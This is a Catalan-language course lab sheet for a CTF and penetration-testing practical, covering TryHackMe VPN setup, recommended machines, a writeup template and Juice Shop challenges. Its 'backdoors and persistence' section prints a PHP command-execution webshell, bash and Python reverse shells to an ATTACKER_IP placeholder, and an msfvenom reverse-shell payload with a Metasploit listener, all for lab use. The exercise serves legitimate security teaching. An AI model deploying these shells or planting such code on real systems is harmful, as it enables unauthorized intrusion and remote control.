PR5052 - CTF i Plataformes d'Entrenament
Objectius
- Completar almenys 3 màquines de TryHackMe
- Practicar hacking web avançat (SQLi, XSS, SSTI, IDOR)
- Explotar vulnerabilitats de xarxa i sistemes
- Aplicar tècniques de backdoor i persistència en entorn controlat
- Documentar les writeups de les màquines resoltes
Prerequisits
| Element | Detall |
|---|---|
| Temps estimat | 6 hores |
| Eines necessàries | Docker Desktop, compte TryHackMe (gratuït) |
| Connexió | VPN de TryHackMe (OpenVPN) |
| Nivell | Beginner-Intermediate |
Introducció
Els CTF (Capture The Flag) son competicions de ciberseguretat on els participants han de resoldre reptes per obtenir banderes ("flags"), típicament strings amb format FLAG{text} o THM{text}. Permeten practicar en entorns reals i legals.
TryHackMe és la plataforma recomanada per a principiants: màquines amb guies, paths d'aprenentatge estructurats i connexió via VPN sense necessitat de configurar res localment.
Part 1: Configuració de TryHackMe
1.1 Crear compte i configurar VPN
# 1. Crear compte a tryhackme.com
# 2. Accedir a: https://tryhackme.com/access
# 3. Descarregar el fitxer OpenVPN
# 4. Connectar-se:
# Via Docker (si no vols instal·lar OpenVPN)
docker run -d \
--name thm-vpn-NOMCOGNOM \
--cap-add NET_ADMIN \
--device /dev/net/tun \
-v $(pwd)/thm.ovpn:/vpn/thm.ovpn \
dperson/openvpn-client \
-v thm
# Verificar la connexió
docker exec thm-vpn-NOMCOGNOM ip addr show tun0
# Llencar Kali usant la xarxa del VPN
docker run -it \
--name kali-thm-NOMCOGNOM \
--network container:thm-vpn-NOMCOGNOM \
kalilinux/kali-rolling bash
Part 2: Màquines de TryHackMe Recomanades
2.1 Ruta d'aprenentatge: "Pre-Security" o "Complete Beginner"
Les màquines recomanades per a practicar els conceptes del curs:
| Màquina | Nivell | Conceptes | Codi |
|---|---|---|---|
| Mr Robot CTF | Mig | Web, Linux PrivEsc | mrrobot |
| OWASP Top 10 | Principiant | OWASP vulnerabilities | owasptop10 |
| Blue | Principiant | EternalBlue (CVE-2017-0144) | blue |
| Pickle Rick | Principiant | Web, Command injection | picklerick |
| Kenobi | Principiant | FTP, SUID PrivEsc | kenobi |
| Basic Pentesting | Principiant | Pentesting complet | basicpentestingjt |
Stratègia recomanada
Comença per "Pickle Rick" (15-30 min) per agafar confiança, després "OWASP Top 10" per consolidar vulnerabilitats web, i finalment "Mr Robot CTF" com a repte final.
2.2 Template de Writeup
Per a cada màquina completada, documenta el procés:
# Writeup: [Nom de la Màquina]
**Plataforma**: TryHackMe
**Alumne**: NOMCOGNOM
**Data**: ____________________
**IP de la màquina**: 10.10.x.x
**Dificultat**: Easy/Medium/Hard
## 1. Reconeixement
### Nmap
```bash
nmap -sV -sC -O --open -T4 10.10.x.x
Enumeració web
Directoris trobats: - /robots.txt → conté: ... - /admin → panell d'administració2. Accés inicial
Vulnerabilitat exploited: [nom + CVE si aplica] Payload/comandes:
Captura de pantalla: [adjunta] Shell obtinguda com a: www-data / user_x3. Escalada de privilegis
Mètode: [SUID, sudo, cron, kernel exploit...] Comandes:
Shell de root obtinguda: Sí/No4. Flags obtingudes
- user.txt:
THM{NOMCOGNOM_flag_user} - root.txt:
THM{NOMCOGNOM_flag_root}
5. Lliçons apreses
- [Concepte 1 après]
- [Concepte 2 après]
## Part 3: CTF Local - VulnHub Si no tens accés a Internet estable, pots descarregar màquines de **VulnHub** i importar-les a VirtualBox/VMware: ```bash # Alternativa Docker per a alguns targets de VulnHub # (no tots estan disponibles, però alguns sí) # DC-1 (màquina Drupal) docker run -d \ --name vulnhub-dc1-NOMCOGNOM \ --network pentest_net \ hackersploit/dc-1 # Kioptrix Level 1 # Disponible únicament com a VM, no Docker # Descarregar de: https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Part 4: Hacking Web Avançat (en Juice Shop)
# Iniciar Juice Shop per als reptes avançats
docker run -d \
--name juice-advanced-NOMCOGNOM \
-p 3001:3000 \
bkimminich/juice-shop
# Accedir a http://localhost:3001
Reptes de nivell avançat (★★★ i ★★★★)
## Reptes avançats a completar - NOMCOGNOM
### SSTI (Server-Side Template Injection)
- Repte: "Perform a Remote Code Execution that would keep a less aware developer up at night"
- Hint: Busca camps d'entrada que puguin ser vulnerables a SSTI
- Payload Jinja2: {{7*7}} per confirmar, després RCE
### JWT Manipulation
- Repte: Accedir al compte d'un administrador modificant el JWT
- Eines: https://jwt.io, Burp Suite
### Broken Access Control (IDOR)
- Repte: "Access the basket of another user"
- Hint: Observa les peticions a /api/Baskets/
### File Upload Bypass
- Repte: Pujar un shell PHP com si fos una imatge
- Hint: Modificar Content-Type i extensió
Part 5: Backdoors i Persistència (Entorn Controlat)
5.1 Backdoor web
<?php
// webshell.php - Per a demostració en entorn de lab
// Permet executar comandes al servidor
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
// Accedir: http://TARGET/webshell.php?cmd=id
// Output: uid=33(www-data) gid=33(www-data)
5.2 Shell inversa
# En la màquina atacant: escoltar connexions entrants
nc -lvnp 4444
# En la màquina víctima (via webshell o RCE): connectar cap al atacant
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Alternativa amb Python (si bash no funciona)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
5.3 Shell inversa via msfvenom
# Generar un payload amb msfvenom
msfvenom \
-p linux/x64/shell_reverse_tcp \
LHOST=ATTACKER_IP \
LPORT=4444 \
-f elf \
-o reverse-shell-NOMCOGNOM.elf
# Configuració del listener (Metasploit)
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST ATTACKER_IP; set LPORT 4444; run"
Reflexió final
Compara la teva experiència entre: 1. Les màquines de TryHackMe (guiades) 2. Les màquines de VulnHub (sense guia) 3. El Juice Shop (reptes independents)
Quina diferència principal trobes en el nivell de dificultat i en les habilitats que desenvolupes a cada plataforma?
Informe final
Crea el document ctf_writeups_NOMCOGNOM.md amb:
# CTF Writeups - NOMCOGNOM
## Màquines completades a TryHackMe
| Màquina | Data | Temps | Flags obtingudes | Tècniques usades |
|---------|------|-------|-----------------|-----------------|
| Pickle Rick | | | user + root | Web, Command injection |
| OWASP Top 10 | | | Multiple | OWASP vulnerabilities |
| Mr Robot | | | 3 flags | WordPress, PrivEsc |
[Writeup complet per a cada màquina - seguint el template de la Part 2]
## Reptes Juice Shop completats
[Llista amb payload + categoria OWASP per a cada repte]
## Reflexió final
[Resposta a la reflexió comparativa]
Rúbrica
Vegeu Rúbrica PR5052.